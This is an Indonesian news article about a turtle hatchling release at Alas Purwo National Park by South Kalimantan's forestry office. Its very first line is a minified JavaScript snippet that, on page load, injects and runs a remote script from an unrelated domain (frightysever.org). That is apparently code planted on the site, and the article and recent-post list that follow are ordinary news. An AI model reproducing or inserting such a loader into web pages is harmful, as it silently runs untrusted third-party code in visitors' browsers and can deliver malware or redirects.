(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dishut Kalsel

Dishut Kalsel Lakukan Aksi Pelepas Liaran Tukik di Taman Nasional Alas Purwo


KANALKALIMANTAN.COM, BANJARBARU – Kepala Dinas Kehutanan Provinsi Kalimantan Selatan Fathimatuzahra, S.Hut.,MP. melaksanakan kegiatan pelepasliaran anak penyu (tukik) di Pantai Trianggulasi, Taman Nasional Alas Purwo, Banyuwangi, Jumat (1/11/2024).

Kegiatan ini dilakukan dalam kunjungannya ke Banyuwangi dan melibatkan partisipasi Kepala UPT lingkup Kementerian Kehutanan di Kalimantan Selatan.

Dalam kegiatan ini, puluhan tukik berusia satu minggu dilepasliarkan sebagai bagian dari upaya perlindungan terhadap spesies penyu yang semakin terancam.

Kepala Balai Taman Nasional Alas Purwo, Agus Setyabudi, menjelaskan bahwa Pantai Trianggulasi merupakan salah satu area penting bagi penyu untuk bertelur. Di pantai ini, ucapnya terdapat empat jenis penyu yang kerap mendarat, yakni penyu belimbing, penyu sisik, penyu abu-abu, dan penyu hijau.

“Biasanya, pendaratan penyu untuk bertelur terjadi pada bulan April hingga November, dengan jumlah pendaratan yang dapat mencapai 2.100 kali setiap musimnya,” ucapnya.

Namun menurut Agus, meskipun jumlah telur mencapai ribuan, hanya sekitar 2-4 persen tukik yang mampu bertahan hidup hingga dewasa akibat berbagai faktor seperti serangan predator dan penyakit.

Disisi lain, Fathimatuzzahra, S.Hut., MP. menyampaikan kesan positifnya terhadap kegiatan pelepasliaran ini. Menurutnya, aksi pelepasliaran tukik menjadi atraksi menarik bagi wisatawan sekaligus memberikan edukasi penting mengenai konservasi kepada para pengunjung.

“Mungkin, di TN Pegunungan Meratus, kita juga harus bisa menyajikan edukasi konservasi dengan esensi yang berbeda,” tambahnya.

Kegiatan pelepasliaran tukik di Taman Nasional Alas Purwo ini diharapkan dapat semakin meningkatkan kesadaran masyarakat dan wisatawan akan pentingnya menjaga kelestarian alam serta keberlanjutan ekosistem laut, terutama bagi spesies penyu yang memiliki peran penting dalam keseimbangan ekosistem pantai.(kanalkalimantan.com/kk)

Editor: kk


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.